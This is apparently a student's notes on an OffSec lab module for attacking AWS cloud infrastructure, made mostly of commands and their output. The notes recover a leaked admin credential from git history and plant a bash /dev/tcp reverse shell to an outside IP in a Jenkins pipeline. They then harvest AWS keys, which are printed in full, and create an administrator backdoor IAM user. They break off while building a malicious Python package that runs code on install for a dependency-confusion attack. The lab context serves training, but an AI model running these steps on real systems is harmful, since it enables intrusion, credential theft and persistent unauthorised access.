# Module 25: Attacking AWS Cloud Infrastructure

## About the Public Cloud Labs

*Progess is not saved. These labs are in OffSec's Ppublic Cloud Labs which are access directly through the internet.*

## Leaked Secrets to Poisoned Pipeline - Lab Design

### Accessing the Labs

* A DNS server's IP address
* A Kali IP address
* A Kali Password
* An AWS account with no permissions (more on this later)

Each lab restart will require setting up the DNS server again.

Setting DNS server and verifying it:

{% code overflow="wrap" %}

```bash
kali@kali:~$ nmcli connection
NAME                UUID                                  TYPE      DEVICE 
Wired connection 1  67f8ac63-7383-4dfd-ae42-262991b260d7  ethernet  eth0   
lo                  1284e5c4-6819-4896-8ad4-edeae32c64ce  loopback  lo 

kali@kali:~$ sudo nmcli connection modify "Wired connection 1" ipv4.dns "203.0.113.84"

kali@kali:~$ sudo systemctl restart NetworkManager

kali@kali:~$ cat /etc/resolv.conf
# Generated by NetworkManager
search localdomain
nameserver 203.0.113.84
...

kali@kali:~$ nslookup git.offseclab.io
Server:         203.0.113.84
Address:        203.0.113.84#53

Non-authoritative answer:
Name:   git.offseclab.io
Address: 198.18.53.73
```

{% endcode %}

## Enumeration

### Enumerating Jenkins

Enumerating Jenkins with MSF:

{% code overflow="wrap" %}

```bash
kali@kali:~$ msfconsole --quiet

msf6 > use auxiliary/scanner/http/jenkins_enum

msf6 auxiliary(scanner/http/jenkins_enum) > show options
                                                                                                                            
Module options (auxiliary/scanner/http/jenkins_enum):                                                                       
                                                                                                                            
   Name       Current Setting  Required  Description                                                                        
   ----       ---------------  --------  -----------                                                                        
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]                       
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/  
                                         using-metasploit.html                                                              
   RPORT      80               yes       The target port (TCP)                                                              
   SSL        false            no        Negotiate SSL/TLS for outgoing connections                                         
   TARGETURI  /jenkins/        yes       The path to the Jenkins-CI application                                             
   THREADS    1                yes       The number of concurrent threads (max one per host)                                
   VHOST                       no        HTTP server virtual host                                                           
                                                                                                                            

View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/http/jenkins_enum) > set RHOSTS automation.offseclab.io
RHOSTS => automation.offseclab.io

msf6 auxiliary(scanner/http/jenkins_enum) > set TARGETURI /
TARGETURI => /

msf6 auxiliary(scanner/http/jenkins_enum) > run

[+] 198.18.53.73:80      - Jenkins Version 2.385
[*] /script restricted (403)
[*] /view/All/newJob restricted (403)
[*] /asynchPeople/ restricted (403)
[*] /systemInfo restricted (403)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

{% endcode %}

### Enumerating the Git Server

Running hydra on the user login:

{% code overflow="wrap" %}

```bash
hydra -L ./users -P /usr/share/wordlists/rockyou.txt git.offseclab.io http-post-form "/user/login:user_name=^USER^&password=^PASS^:Username or password is incorrect."
```

{% endcode %}

### Enumerating the Application

Reviewing the source code to find a S3 bucket:

{% code overflow="wrap" %}

```html
<div class="carousel-item active">
    <img src="https://staticcontent-lgudbhv8syu2tgbk.s3.us-east-1.amazonaws.com/images/bunny.jpg" class="d-block w-100" alt="...">
</div>
<div class="carousel-item">
    <img src="https://staticcontent-lgudbhv8syu2tgbk.s3.us-east-1.amazonaws.com/images/golden-with-flower.jpg" class="d-block w-100"
        alt="...">
</div>
<div class="carousel-item">
    <img src="https://staticcontent-lgudbhv8syu2tgbk.s3.us-east-1.amazonaws.com/images/kittens.jpg" class="d-block w-100" alt="...">
</div>
<div class="carousel-item">
    <img src="https://staticcontent-lgudbhv8syu2tgbk.s3.us-east-1.amazonaws.com/images/puppy.jpg" class="d-block w-100" alt="...">
</div>
```

{% endcode %}

Using curl to list the bucket:

{% code overflow="wrap" %}

```bash
kali@kali:~$ curl https://staticcontent-lgudbhv8syu2tgbk.s3.us-east-1.amazonaws.com      
<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>VFK5KNV3PV9B8SKJ</RequestId><HostId>0J13xDMdIwQB3e3HLcQvfYpsRe1MO0Bn0OVUgl+7wtbs2v3XOZZn98WKQ0lsyqmpgnv5FjSGFaE=</HostId></Error>
```

{% endcode %}

Enumerating the bucket with just the first 50 lines of common.txt:

{% code overflow="wrap" %}

```bash
kali@kali:~$ head -n 51 /usr/share/wordlists/dirb/common.txt > first50.txt

kali@kali:~$ dirb https://staticcontent-lgudbhv8syu2tgbk.s3.us-east-1.amazonaws.com ./first50.txt
...
---- Scanning URL: https://staticcontent-lgudbhv8syu2tgbk.s3.us-east-1.amazonaws.com/ ----
+ https://staticcontent-lgudbhv8syu2tgbk.s3.us-east-1.amazonaws.com/.git/HEAD (CODE:200|SIZE:23)      
...
DOWNLOADED: 50 - FOUND: 1
```

{% endcode %}

Using **awscli** to list contents of the bucket:

```bash
kali@kali:~$ aws s3 ls staticcontent-lgudbhv8syu2tgbk
                           PRE .git/
                           PRE images/
                           PRE scripts/
                           PRE webroot/
2023-04-04 13:00:52        972 CONTRIBUTING.md
2023-04-04 13:00:52         79 Caddyfile
2023-04-04 13:00:52        407 Jenkinsfile
2023-04-04 13:00:52        850 README.md
2023-04-04 13:00:52        176 docker-compose.yml
```

## Discovering Secrets

### Downloading the Bucket

Downloading a copy of the README.md:

```bash
kali@kali:~$ aws s3 cp s3://staticcontent-lgudbhv8syu2tgbk/README.md ./
download: s3://staticcontent-lgudbhv8syu2tgbk/README.md to ./README.md
```

Downloading the S3 bucket:

```bash
kali@kali:~$ mkdir static_content                                     

kali@kali:~$ aws s3 sync s3://staticcontent-lgudbhv8syu2tgbk ./static_content/
download: s3://staticcontent-lgudbhv8syu2tgbk/.git/COMMIT_EDITMSG to static_content/.git/COMMIT_EDITMSG
...
download: s3://staticcontent-lgudbhv8syu2tgbk/images/kittens.jpg to static_content/images/kittens.jpg

kali@kali:~$ cd static_content

kali@kali:~/static_content$ 
```

Reviewing contents of discovered scripts:

{% code overflow="wrap" %}

```bash
kali@kali:~/static_content$ ls scripts               
update-readme.sh  upload-to-s3.sh

kali@kali:~/static_content$ cat -n scripts/update-readme.sh
01  # Update Readme to include collaborators images to s3
02
03  SCRIPT_DIR=$( cd -- "$( dirname -- "${BASH_SOURCE[0]}" )" &> /dev/null && pwd )
04
05  SECTION="# Collaborators"
06  FILE=$SCRIPT_DIR/../README.md
07
08  if [ "$1" == "-h" ]; then
09    echo "Update the collaborators in the README.md file"
10    exit 0
11  fi
12
13  # Check if both arguments are provided
14  if [ "$#" -ne 2 ]; then
15    # If not, display a help message
16    echo "Usage: $0 USERNAME PASSWORD"
17    exit 1
18  fi
19
20  # Store the arguments in variables
21  username=$1
22  password=$2
23
24  auth_header=$(printf "Authorization: Basic %s\n" "$(echo -n "$username:$password" | base64)")
25
26  USERNAMES=$(curl -X 'GET' 'http://git.offseclab.io/api/v1/repos/Jack/static_content/collaborators' -H 'accept: application/json' -H $auth_header | jq .\[\].username |  tr -d '"')
27
28  sed -i "/^$SECTION/,/^#/{/$SECTION/d;//!d}" $FILE
29  echo "$SECTION" >> $FILE
30  echo "$USERNAMES" >> $FILE
31  echo "" >> $FILE
```

{% endcode %}

### Searching for Secrets in Git

Installing gitleaks:

```bash
kali@kali:~/static_content$ sudo apt update         
...

kali@kali:~/static_content$ sudo apt install -y gitleaks
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following NEW packages will be installed:
  gitleaks
...
```

To run gitleaks, we must be in the root of the static\_content folder:

```bash
kali@kali:~/static_content$ gitleaks detect

    ○
    │╲
    │ ○
    ○ ░
    ░    gitleaks 

1:58PM INF no leaks found
1:58PM INF scan completed in 61.787205ms
```

Reviewing git log:

{% code overflow="wrap" %}

```bash
kali@kali:~/static_content$ git log
commit 07feec62e57fec8335e932d9fcbb9ea1f8431305 (HEAD -> master, origin/master)
Author: Jack <jack@offseclab.io>

    Add Jenkinsfile

commit 64382765366943dd1270e945b0b23dbed3024340
Author: Jack <jack@offseclab.io>

    Fix issue

commit 54166a0803785d745d68f132cde6e3859f425c75
Author: Jack <jack@offseclab.io>

    Add Managment Scripts

commit 5c22f52b6e5efbb490c330f3eb39949f2dfe2f91
Author: Jack <jack@offseclab.io>

    add Docker

commit 065abcd970335c35a44e54019bb453a4abd59210
Author: Jack <jack@offseclab.io>

    Add index.html

commit 6e466ede070b7fb44e0ef38bef3504cf87e866d0
Author: Jack <jack@offseclab.io>

    Add images

commit 85c736662f2644783d1f376dcfc1688e37bd1991
Author: Jack <jack@offseclab.io>

    Init Repo
```

{% endcode %}

Reviewing the commit that noted "Fix issue":

{% code overflow="wrap" %}

```bash
kali@kali:~/static_content$ git show 64382765366943dd1270e945b0b23dbed3024340
commit 64382765366943dd1270e945b0b23dbed3024340
Author: Jack <jack@offseclab.io>

    Fix issue

diff --git a/scripts/update-readme.sh b/scripts/update-readme.sh
index 94c67fc..c2fcc19 100644
--- a/scripts/update-readme.sh
+++ b/scripts/update-readme.sh
@@ -1,4 +1,5 @@
 # Update Readme to include collaborators images to s3
+
 SCRIPT_DIR=$( cd -- "$( dirname -- "${BASH_SOURCE[0]}" )" &> /dev/null && pwd )
 
 SECTION="# Collaborators"
@@ -9,9 +10,22 @@ if [ "$1" == "-h" ]; then
   exit 0
 fi
 
-USERNAMES=$(curl -X 'GET' 'http://git.offseclab.io/api/v1/repos/Jack/static_content/collaborators' -H 'accept: application/json' -H 'authorization: Basic YWRtaW5pc3RyYXRvcjo5bndrcWU1aGxiY21jOTFu' | jq .\[\].username |  tr -d '"')
+# Check if both arguments are provided
+if [ "$#" -ne 2 ]; then
+  # If not, display a help message
+  echo "Usage: $0 USERNAME PASSWORD"
+  exit 1
+fi
+
+# Store the arguments in variables
+username=$1
+password=$2
+
+auth_header=$(printf "Authorization: Basic %s\n" "$(echo -n "$username:$password" | base64)")
+
+USERNAMES=$(curl -X 'GET' 'http://git.offseclab.io/api/v1/repos/Jack/static_content/collaborators' -H 'accept: application/json' -H $auth_header | jq .\[\].username |  tr -d '"')
 
 sed -i "/^$SECTION/,/^#/{/$SECTION/d;//!d}" $FILE
 echo "$SECTION" >> $FILE
 echo "$USERNAMES" >> $FILE
-echo "" >> $FILE
+echo "" >> $FILE
\ No newline at end of file
```

{% endcode %}

Reviewing the basic authentication base64 string discovered:

{% code overflow="wrap" %}

```bash
kali@kali:~/static_content$ echo "YWRtaW5pc3RyYXRvcjo5bndrcWU1aGxiY21jOTFu" | base64 --decode
administrator:9nwkqe5hlbcmc91n
```

{% endcode %}

## Poisoning the Pipeline

### Enumerating the Repositories

Reviewing the Jenkinsfile now that we are logged in as administrator and can browse the repo:

{% code overflow="wrap" %}

```bash
01  pipeline {
02      agent any   
03      // TODO automate the building of this later
04      stages {
05          stage('Build') {
06              steps {
07                  echo 'Building..'
08              }
09          }
10          stage('Test') {
11              steps {
12                  echo 'Testing..'
13              }
14          }
15          stage('Deploy') {
16              steps {
17                  echo 'Deploying....'
18              }
19          }
20      }
21  }     
```

{% endcode %}

Nothing much here. Checking out the other repo's Jenkinsfile:

{% code overflow="wrap" %}

```bash
01 pipeline {
02    agent any
03
04    stages {
05
06      
07      stage('Validate Cloudfront File') {
08        steps {
09          withAWS(region:'us-east-1', credentials:'aws_key') {
10              cfnValidate(file:'image-processor-template.yml')
11          }
12        }
13      }
14
15      stage('Create Stack') {
16        steps {
17          withAWS(region:'us-east-1', credentials:'aws_key') {
18              cfnUpdate(
19                  stack:'image-processor-stack', 
20                  file:'image-processor-template.yml', 
21                  params:[
22                      'OriginalImagesBucketName=original-images-lgudbhv8syu2tgbk',
23                      'ThumbnailImageBucketName=thumbnail-images--lgudbhv8syu2tgbk'
24                  ], 
25                  timeoutInMinutes:10, 
26                  pollInterval:1000)
27          }
28        }
29      }
30    }
31  }
```

{% endcode %}

<figure><img src="https://2580392783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2bsvcHu5JxoX3MBNE1Wb%2Fuploads%2FIyx2DuWr7AMDUqs43MQJ%2Fimage.png?alt=media&#x26;token=66250d79-9ff0-4b87-a099-0454d5ac5f1d" alt=""><figcaption><p>Reviewing Webhooks under Settings</p></figcaption></figure>

<figure><img src="https://2580392783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2bsvcHu5JxoX3MBNE1Wb%2Fuploads%2FFR36dcAJp5cA9vjDSbnP%2Fimage.png?alt=media&#x26;token=a17e78d3-b177-4d55-bf29-09bbafbd251b" alt=""><figcaption><p>Reviewing Webhook Triggers</p></figcaption></figure>

### Modifying the Pipeline

Modifying the Jenkinsfile for static\_content to spawn a reverse shell:

{% code overflow="wrap" %}

```bash
pipeline {
  agent any
  stages {
    stage('Send Reverse Shell') {
      steps {
        withAWS(region: 'us-east-1', credentials: 'aws_key') {
          script {
            if (isUnix()) {
              sh 'bash -c "bash -i >& /dev/tcp/192.88.99.76/4242 0>&1" & '
            }
          }
        }
      }
    }
  }
}
```

{% endcode %}

### Enumerating the Builder

OS and Kernel enumeration:

{% code overflow="wrap" %}

```bash
jenkins@fcd3cc360d9e:~/agent/workspace/image-transform$ uname -a
uname -a
Linux fcd3cc360d9e 4.14.309-231.529.amzn2.x86_64 #1 SMP Tue Mar 14 23:44:59 UTC 2023 x86_64 GNU/Linux

jenkins@fcd3cc360d9e:~/agent/workspace/image-transform$ cat /etc/os-release
cat /etc/os-release
PRETTY_NAME="Debian GNU/Linux 11 (bullseye)"
NAME="Debian GNU/Linux"
VERSION_ID="11"
VERSION="11 (bullseye)"
VERSION_CODENAME=bullseye
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"
```

{% endcode %}

Listing working and home directory:

```bash
jenkins@fcd3cc360d9e:~/agent/workspace/image-transform$ ls
ls
Jenkinsfile
README.md
image-processor-template.yml

jenkins@fcd3cc360d9e:~/agent/workspace/image-transform$ cd ~

jenkins@fcd3cc360d9e:~$ ls -a
ls -a
.
..
.bash_logout
.bashrc
.cache
.config
.profile
.ssh
agent
```

Checking for private keys, authorized keys, and the network configuration:

{% code overflow="wrap" %}

```bash
jenkins@fcd3cc360d9e:~$ ls -a .ssh
ls -a
.
..
authorized_keys

jenkins@fcd3cc360d9e:~$ cat .ssh/authorized_keys
cat .ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDP+HH9VS2Oe1djuSNJWhbYaswUC544I0QCp8sSdyTs/yQiytovhTAP/Z1eA2n0OZB2/4/oJn5wpdui8TTnkQGb6KdiLMfO1hZep7QVAY1QAwxLaKz6iEAFUuNxRrctwebVNCVokZr1yQmvlW0qKdQ5RaqU5xu35oDsYhk5vcQj+o8FAhkI5zkA4Mq6UPdLgakxEHaxJT4vWL7rYYvMW8Wz2/ngZS4LlcYmTVRiSRxFs1LdwTwC5DDlL05sqqFGED+Gs6Jy6VFhCZE0oFGZ0EoIMXkjasifVUvf7jPJ/qFKRP47AwJ6zMUUGlwf8t5HFwzK6ZmDoKUiUHg6ZdOEHxHYJRXqQ1IILpgp9g+1+NhYpIwpnvkuurCLFpKby4rRKkECueRUjSMsArKuTdPBZZ1cpC12z/czcGzTib1AjIUaNwobsU5dwVbgPLnDJ6vYVQGTNq5/PLRBeHCluzpaiHFtrP80PL9XomVhCI+lGTKxD9QxYq+mSYyESiEeu7idqw8= jenkins@jenkins

jenkins@fcd3cc360d9e:~$ ifconfig
ifconfig

bash: ifconfig: command not found

jenkins@fcd3cc360d9e:~$ ip a
ip a
bash: ip: command not found
```

{% endcode %}

The results for network configuration information indicate likely being inside a container.

Checking mounts:

{% code overflow="wrap" %}

```bash
jenkins@fcd3cc360d9e:~$ cat /proc/mounts
cat /proc/mounts
overlay / overlay rw,relatime,lowerdir=/var/lib/docker/overlay2/l/ZWMYT5LL7SJG7W2C2AQDU3DNZU:/var/lib/docker/overlay2/l/NWVNHZEQTXKQV7TK6L5PBW2LY6:/var/lib/docker/overlay2/l/XQAFTST24ZNNZODESKXRXG2DT3:/var/lib/docker/overlay2/l/XQEBX4RY52MDAKX5AHOFQ33C3J:/var/lib/docker/overlay2/l/RL6A3EXVAAKLS2H3DCFGHT6G4I:/var/lib/docker/overlay2/l/RK5MUYP5EXDS66AROAZDUW4VJZ:/var/lib/docker/overlay2/l/GITV6R24OXBRFWILXTIPQJWAUO:/var/lib/docker/overlay2/l/IJIDXIBWIZUYBIWUF5YWXCOG4L:/var/lib/docker/overlay2/l/6MLZE4Z6A4O4GGDABKH4SEB2ML:/var/lib/docker/overlay2/l/DWFB6EYO3HEPBCCAWYQ4256GNS:/var/lib/docker/overlay2/l/I7JY2SWCL2IPGXKRREITBKE3XF:/var/lib/docker/overlay2/l/U3ULKCXTN7B3QA7WZBNB67UESW,upperdir=/var/lib/docker/overlay2/b01b1c72bc2d688d01493d2aeda69d6a4ec1f6dbb3934b8c1ba00aed3040de4a/diff,workdir=/var/lib/docker/overlay2/b01b1c72bc2d688d01493d2aeda69d6a4ec1f6dbb3934b8c1ba00aed3040de4a/work 0 0
proc /proc proc rw,nosuid,nodev,noexec,relatime 0 0
tmpfs /dev tmpfs rw,nosuid,size=65536k,mode=755 0 0
devpts /dev/pts devpts rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666 0 0
sysfs /sys sysfs rw,nosuid,nodev,noexec,relatime 0 0
tmpfs /sys/fs/cgroup tmpfs rw,nosuid,nodev,noexec,relatime,mode=755 0 0
cgroup /sys/fs/cgroup/systemd cgroup rw,nosuid,nodev,noexec,relatime,xattr,release_agent=/usr/lib/systemd/systemd-cgroups-agent,name=systemd 0 0
cgroup /sys/fs/cgroup/pids cgroup rw,nosuid,nodev,noexec,relatime,pids 0 0
cgroup /sys/fs/cgroup/devices cgroup rw,nosuid,nodev,noexec,relatime,devices 0 0
cgroup /sys/fs/cgroup/freezer cgroup rw,nosuid,nodev,noexec,relatime,freezer 0 0
cgroup /sys/fs/cgroup/cpuset cgroup rw,nosuid,nodev,noexec,relatime,cpuset 0 0
cgroup /sys/fs/cgroup/blkio cgroup rw,nosuid,nodev,noexec,relatime,blkio 0 0
cgroup /sys/fs/cgroup/perf_event cgroup rw,nosuid,nodev,noexec,relatime,perf_event 0 0
cgroup /sys/fs/cgroup/hugetlb cgroup rw,nosuid,nodev,noexec,relatime,hugetlb 0 0
cgroup /sys/fs/cgroup/cpu,cpuacct cgroup rw,nosuid,nodev,noexec,relatime,cpu,cpuacct 0 0
cgroup /sys/fs/cgroup/net_cls,net_prio cgroup rw,nosuid,nodev,noexec,relatime,net_cls,net_prio 0 0
cgroup /sys/fs/cgroup/memory cgroup rw,nosuid,nodev,noexec,relatime,memory 0 0
mqueue /dev/mqueue mqueue rw,nosuid,nodev,noexec,relatime 0 0
/dev/xvda1 /run xfs rw,noatime,attr2,inode64,noquota 0 0
/dev/xvda1 /tmp xfs rw,noatime,attr2,inode64,noquota 0 0
/dev/xvda1 /home/jenkins xfs rw,noatime,attr2,inode64,noquota 0 0
/dev/xvda1 /run xfs rw,noatime,attr2,inode64,noquota 0 0
/dev/xvda1 /etc/resolv.conf xfs rw,noatime,attr2,inode64,noquota 0 0
/dev/xvda1 /etc/hostname xfs rw,noatime,attr2,inode64,noquota 0 0
/dev/xvda1 /etc/hosts xfs rw,noatime,attr2,inode64,noquota 0 0
shm /dev/shm tmpfs rw,nosuid,nodev,noexec,relatime,size=65536k 0 0
```

{% endcode %}

Output confirms we're inside a docker container.

Checking Capability for container:

```bash
jenkins@fcd3cc360d9e:~$ cat /proc/1/status | grep Cap
cat /proc/1/status | grep Cap
CapInh: 0000000000000000
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
```

Decoding the capabilities:

{% code overflow="wrap" %}

```bash
kali@kali:~$ capsh --decode=0000003fffffffff
0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read

```

{% endcode %}

Discovering AWS keys:

```bash
jenkins@fcd3cc360d9e:~$ env | grep AWS
env | grep AWS
AWS_DEFAULT_REGION=us-east-1
AWS_REGION=us-east-1
AWS_SECRET_ACCESS_KEY=W4gtNvsaeVgx5278oy5AXqA9XbWdkRWfKNamjKXo
AWS_ACCESS_KEY_ID=AKIAUBHUBEGIMU2Y5GY7
```

## Compromising the Environment via Backdoor Account

### Discovering What We Have Access To

Configured a new profile with the information discovered:

{% code overflow="wrap" %}

```bash
kali@kali:~$ aws configure --profile=CompromisedJenkins
AWS Access Key ID [None]: AKIAUBHUBEGIMU2Y5GY7
AWS Secret Access Key [None]: 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
Default region name [None]: us-east-1
Default output format [None]: 
```

{% endcode %}

Getting User Name:

```bash
kali@kali:~$ aws --profile CompromisedJenkins sts get-caller-identity
{
    "UserId": "AIDAUBHUBEGILTF7TFWME",
    "Account": "274737132808",
    "Arn": "arn:aws:iam::274737132808:user/system/jenkins-admin",
}
```

Listing Policies and Group for User:

{% code overflow="wrap" %}

```bash
kali@kali:~$ aws --profile CompromisedJenkins iam list-user-policies --user-name jenkins-admin
{
    "PolicyNames": [
        "jenkins-admin-role"
    ]
}

kali@kali:~$ aws --profile CompromisedJenkins iam list-attached-user-policies --user-name jenkins-admin
{
    "AttachedPolicies": []
}

kali@kali:~$ aws --profile CompromisedJenkins iam list-groups-for-user --user-name jenkins-admin
{
    "Groups": []
}
```

{% endcode %}

Getting the user policy discovered:

{% code overflow="wrap" %}

```bash
kali@kali:~$ aws --profile CompromisedJenkins iam get-user-policy --user-name jenkins-admin --policy-name jenkins-admin-role
{
    "UserName": "jenkins-admin",
    "PolicyName": "jenkins-admin-role",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Sid": "",
                "Effect": "Allow",
                "Action": "*",
                "Resource": "*"
            }
        ]
    }
}
```

{% endcode %}

### Creating a Backdoor Account

Creating our backdoor user:

{% code overflow="wrap" %}

```bash
kali@kali:~$ aws --profile CompromisedJenkins iam create-user --user-name backdoor                                  
{
    "User": {
        "Path": "/",
        "UserName": "backdoor",
        "UserId": "AIDAUBHUBEGIPX2SBIHLB",
        "Arn": "arn:aws:iam::274737132808:user/backdoor",
    }
}
```

{% endcode %}

Attaching the AdministratorAccess policy to our backdoor user:

{% code overflow="wrap" %}

```bash
kali@kali:~$ aws --profile CompromisedJenkins iam attach-user-policy  --user-name backdoor --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

```

{% endcode %}

Getting our user creds:

{% code overflow="wrap" %}

```bash
kali@kali:~$ aws --profile CompromisedJenkins iam create-access-key --user-name backdoor
{
    "AccessKey": {
        "UserName": "backdoor",
        "AccessKeyId": "AKIAUBHUBEGIDGCLUM53",
        "Status": "Active",
        "SecretAccessKey": "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",
    }
}
```

{% endcode %}

Configuring our new backdoor profile:

{% code overflow="wrap" %}

```bash
kali@kali:~$ aws configure --profile=backdoor                                           
AWS Access Key ID [None]: AKIAUBHUBEGIDGCLUM53
AWS Secret Access Key [None]: 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
Default region name [None]: us-east-1
Default output format [None]:  

kali@kali:~$ aws --profile backdoor iam list-attached-user-policies --user-name backdoor
{
    "AttachedPolicies": [
        {
            "PolicyName": "AdministratorAccess",
            "PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess"
        }
    ]
}
```

{% endcode %}

## Dependency Chain Abuse

### Accessing the Labs

* A DNS server's IP address
* A Kali IP address
* A Kali password

## Information Gathering

### Enumerating the Services

*Poke around the website. Check Network tab of the developer settings, look at the headers.*

### Conducting Open Source Intelligence

*Search sites like Stack Overflow, Reddit, etc.*

## Dependency Chain Attack

### Understanding the Attack

<figure><img src="https://2580392783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2bsvcHu5JxoX3MBNE1Wb%2Fuploads%2FQ8kKO16uAjPSPPTiiws5%2Fimage.png?alt=media&#x26;token=36169f20-889a-475e-a34e-8f3a9c9502d4" alt=""><figcaption><p>Flow of Downloading When Public Repo does not Contain Package</p></figcaption></figure>

<figure><img src="https://2580392783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2bsvcHu5JxoX3MBNE1Wb%2Fuploads%2Fl7XblcS3IaKBieHiK1PV%2Fimage.png?alt=media&#x26;token=9cce7fda-12df-4dfa-ad00-04d8172d84d1" alt=""><figcaption><p>Flow of Downloading when Public Repo does Contain Package</p></figcaption></figure>

### Creating Our Malicious Package

Structure of a Python Package:

```bash
└── hackshort-util
    ├── setup.py
    └── hackshort_util
        └── __init__.py
```

{% hint style="info" %}
Instead of **setup.py**, we can also use **pyproject.toml** or **setup.cfg**.
{% endhint %}

Creating a basic Python Package:

{% code overflow="wrap" %}

```bash
kali@kali:~$ mkdir hackshort-util

kali@kali:~$ cd hackshort-util           
                                                                                                        
kali@kali:~/hackshort-util$ nano setup.py

kali@kali:~/hackshort-util$ cat -n setup.py
01  from setuptools import setup, find_packages
02
03  setup(
04      name='hackshort-util',
05      version='1.1.4',
06      packages=find_packages(),
07      classifiers=[],
08      install_requires=[],
09      tests_require=[],
10  )

kali@kali:~/hackshort-util$ mkdir hackshort_util

kali@kali:~/hackshort-util$ touch hackshort_util/__init__.py
```

{% endcode %}

Running the newly created Python Package:

{% code overflow="wrap" %}

```bash
kali@kali:~/hackshort-util$ python3 ./setup.py sdist
running sdist
running egg_info
writing hackshort_util.egg-info/PKG-INFO
writing dependency_links to hackshort_util.egg-info/dependency_links.txt
writing top-level names to hackshort_util.egg-info/top_level.txt
reading manifest file 'hackshort_util.egg-info/SOURCES.txt'
writing manifest file 'hackshort_util.egg-info/SOURCES.txt'
warning: sdist: standard file not found: should have one of README, README.rst, README.txt, README.md

running check
creating hackshort-util-1.1.4
creating hackshort-util-1.1.4/hackshort_util
creating hackshort-util-1.1.4/hackshort_util.egg-info
copying files to hackshort-util-1.1.4...
copying setup.py -> hackshort-util-1.1.4
copying hackshort_util/__init__.py -> hackshort-util-1.1.4/hackshort_util
copying hackshort_util/utils.py -> hackshort-util-1.1.4/hackshort_util
copying hackshort_util.egg-info/PKG-INFO -> hackshort-util-1.1.4/hackshort_util.egg-info
copying hackshort_util.egg-info/SOURCES.txt -> hackshort-util-1.1.4/hackshort_util.egg-info
copying hackshort_util.egg-info/dependency_links.txt -> hackshort-util-1.1.4/hackshort_util.egg-info
copying hackshort_util.egg-info/top_level.txt -> hackshort-util-1.1.4/hackshort_util.egg-info
Writing hackshort-util-1.1.4/setup.cfg
Creating tar archive
removing 'hackshort-util-1.1.4' (and everything under it)
```

{% endcode %}

Installing hackshort-util locally:

{% code overflow="wrap" %}

```bash
kali@kali:~/hackshort-util$ pip install ./dist/hackshort-util-1.1.4.tar.gz
Defaulting to user installation because normal site-packages is not writeable
Looking in indexes: http://pypi.offseclab.io, http://127.0.0.1
Processing ./dist/hackshort-util-1.1.4.tar.gz
  Preparing metadata (setup.py) ... done
Building wheels for collected packages: hackshort-util
  Building wheel for hackshort-util (setup.py) ... done
  Created wheel for hackshort-util: filename=hackshort_util-1.1.4-py3-none-any.whl size=1188 sha256=2b00a9631c7fb9e1094b6c6ac70bd4424f1ecc3110e05dc89b6352229ed58f93
  Stored in directory: /home/kali/.cache/pip/wheels/da/63/05/afd9e305b95f17a67a64eaa1e62f8acfd4fe458712853c2c3d
Successfully built hackshort-util
Installing collected packages: hackshort-util
Successfully installed hackshort-util-1.1.4
```

{% endcode %}

Importing and using hackshort\_util package:

{% code overflow="wrap" %}

```bash
kali@kali:~$ python3                                       
Python 3.11.2 [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import hackshort_util
>>> print(hackshort_util)
<module 'hackshort_util' from '/home/kali/.local/lib/python3.11/site-packages/hackshort_util/__init__.py'>
```

{% endcode %}

Uninstalling hackshort-util so we can reinstall with our updates:

{% code overflow="wrap" %}

```bash
kali@kali:~/hackshort-util$ pip uninstall hackshort-util                   
Found existing installation: hackshort-util 1.1.4
Uninstalling hackshort-util-1.1.4:
  Would remove:
    /home/kali/.local/lib/python3.11/site-packages/hackshort_util-1.1.4.dist-info/*
    /home/kali/.local/lib/python3.11/site-packages/hackshort_util/*
Proceed (Y/n)? Y
  Successfully uninstalled hackshort-util-1.1.4
```

{% endcode %}

### Command Execution During Install

Adding custom code to run during install:

{% code overflow="wrap" %}

```python
kali@kali:~/hackshort-util$ cat -n setup.py            
01  from setuptools import setup, find_packages
02  from setuptools.command.install import install
03
04  class Installer(install):
05      def run(self):
06          install.run(self)
07          with open('/tmp/running_during_install', 'w') as f:
08              f.write('This code was executed when the package was installed')
09
10  setup(
11      name='hackshort-util',
12      version='1.1.4',
13      packages=find_packages(),
14      classifiers=[],
15      install_requires=[],
16      tests_require=[],
17      cmdclass={'install': Installer}
18  )
19
```

{% endcode %}

Removing the existing package then building the new package:

{% code overflow="wrap" %}

```bash
kali@kali:~/hackshort-util$ rm ./dist/hackshort-util-1.1.4.tar.gz

kali@kali:~/hackshort-util$ cat /tmp/running_during_install   
cat: /tmp/running_during_install: No such file or directory

kali@kali:~/hackshort-util$ python3 ./setup.py sdist                      
...
```

{% endcode %}

Installing the new package and checking if custom code executed:

{% code overflow="wrap" %}

```bash
